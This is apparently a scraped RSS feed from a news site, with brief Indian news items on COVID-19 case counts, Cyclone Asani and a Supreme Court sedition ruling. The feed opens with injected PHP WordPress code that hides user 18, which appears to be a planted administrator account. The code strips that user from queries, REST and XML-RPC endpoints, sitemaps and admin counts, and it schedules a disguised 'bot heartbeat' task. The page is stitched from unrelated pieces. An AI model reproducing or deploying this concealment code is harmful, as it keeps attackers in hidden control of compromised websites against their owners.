add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Coronavirus: India has reported 2,897 new COVID-19 cases in 24 Hours appeared first on The Edge Media.
]]>
As per the government, active cases are for 0.05 percent of total infections, with a national COVID-19 recovery rate of 98.74 percent. In the last 24 hours, the active COVID-19 caseload has decreased by 143 cases. According to the ministry, the daily positivity rate was 0.95 percent and the weekly positivity rate was 0.82 percent.
The post Coronavirus: India has reported 2,897 new COVID-19 cases in 24 Hours appeared first on The Edge Media.
]]>The post Covid-19: India has recorded 2,288 new COVID-19 cases, including 10 deaths in 24 Hours appeared first on The Edge Media.
]]>
According to the government, active cases are for 0.05 percent of total infections, with a national coronavirus recovery rate of 98.74 percent. In the last 24 hours, the active COVID-19 caseload has decreased by 766 cases. According to the ministry, the daily positivity rate was 0.95 percent and the weekly positivity rate was 0.82 percent.
The post Covid-19: India has recorded 2,288 new COVID-19 cases, including 10 deaths in 24 Hours appeared first on The Edge Media.
]]>The post Cyclone Asani: Storm is unlikely to make touchdown and is expected to weaken during the next 24 hours appeared first on The Edge Media.
]]>
Following that, Cyclone Asani is expected to recurve north-northeastwards and move into the northwest Bay of Bengal, off the shores of North Andhra Pradesh and Odisha. It is unlikely to make landfall, and in the next 24 hours, it is forecast to deteriorate into a cyclonic storm.
Over coastal Andhra Pradesh, the weather system is expected to provide mild to moderate rainfall in a few locations, with heavy to very heavy rainfall in isolated areas. From Thursday evening, heavy rain is expected in isolated areas across coastal Odisha.
The post Cyclone Asani: Storm is unlikely to make touchdown and is expected to weaken during the next 24 hours appeared first on The Edge Media.
]]>The post The Supreme Court has given the Centre 24 hours to rule on pending sedition cases under the law appeared first on The Edge Media.
]]>
Meanwhile, the Supreme Court agreed to the Centre’s request to postpone the case until the sedition statute was re-examined. Earlier, the court asked the Centre’s solicitor general, Tushar Mehta, how long it would take to rethink the sedition statute and how the government would deal with its misuse.
The post The Supreme Court has given the Centre 24 hours to rule on pending sedition cases under the law appeared first on The Edge Media.
]]>